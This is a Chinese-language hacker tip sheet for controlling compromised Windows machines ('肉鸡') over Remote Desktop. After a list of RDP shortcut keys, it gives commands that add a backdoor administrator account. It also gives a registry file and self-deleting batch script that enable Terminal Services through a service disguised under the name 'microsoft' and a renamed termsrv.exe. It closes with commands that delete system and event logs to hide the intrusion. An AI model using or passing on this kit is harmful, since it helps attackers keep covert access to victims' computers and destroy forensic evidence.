不错的一篇3389使用相关技巧

3389肉鸡快捷键
ｃｔｒｌ＋ａｌｔ＋ｅｎｄ 把“任务管理器”抓出来　 
ｃｔｒｌ＋ａｌｔ＋ｂｒｅａｋ这个就是切换全屏显示。 
ctrl+alt+end 打开“windows 安全”对话框。 

alt+page up 从左向右在程序之间切换。 

alt+page down 从右向左在程序之间切换。 

alt+insert 按启动顺序来回切换程序。 

alt+home 显示“开始”菜单。 

ctrl+alt+break 在窗口（如果适用）和全屏显示之间切换客户端。 

alt+delete 显示窗口的弹出式菜单。 

ctrl+alt+减号 (-) 将客户端活动窗口的快照放在“终端”服务器的剪贴板上（与在本地计算机上按下 alt+printscrn 键时的功能相同）。 

ctrl+alt+加号 (+) 将整个客户端窗口区域的快照放在“终端”服务器的剪贴板上（与在本地计算机上按下 printscrn 键时的功能相同）。 

注意: 

在nec98 计算机中，这些快捷键在以下两种情况下会有些不同： 

ctrl+alt+break由 f12 键代替。 
ctrl+alt+end 由 f15 键代替。 




3389有关用户操作的基本命令

query user查询登陆用户 
logoffid蹬出某用户 
net user 查看所有用户 
net user tty310 1506414 /add 添加一个用户，用户名tty310 密码1506414 
net localgroup administrators tty310 /add 把tty310这个用户加到管理员组 
net user tty310 查看用户tty310的情况 
net user tty310 82073 将用户tty310的密码更改为82073 
net user tty310 /delete删除tty310 
net user tty310 /active:no禁用该用户 
net user tty310 /active:yes 启用该用户
开3389
3389.reg

windows registry editor version 5.00 
[hkey_local_machine\software\microsoft\windows\currentversion\netcache] 
"enabled"="0" 
[hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon] 
"shutdownwithoutlogon"="0" 
[hkey_local_machine\software\policies\microsoft\windows\installer] 
"enableadmintsremote"=dword:00000001 
[hkey_local_machine\system\currentcontrolset\control\terminal server] 
"tsenabled"=dword:00000001 
[hkey_local_machine\system\currentcontrolset\services\termdd] 
"start"=dword:00000002 
[hkey_users\.default\keyboard layout\toggle] 
"hotkey"="1" 
[hkey_local_machine\system\currentcontrolset\services\secuservice] 
"start"=dword:00000002 
"errorcontrol"=dword:00000001 
"imagepath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ 
74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ 
00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 
"objectname"="localsystem" 
"type"=dword:00000010 
"deion"="microsoft" 
"displayname"="microsoft" 


3389.bat

copy termsrv.exe eventlog.exe 
regedit.exe /s 3389.reg 
del 3389.reg 
del 3389.exe 
del 3389.bat 


重起
iisreset /reboot /timeout:00

reboot


删除日志
del c:\winnt\system32\logfiles\*.* 
del c:\winnt\ssytem32\config\*.evt 
del c:\winnt\system32\dtclog\*.* 
del c:\winnt\system32\*.log 
del c:\winnt\system32\*.txt 
del c:\winnt\*.txt 
del c:\winnt\*.log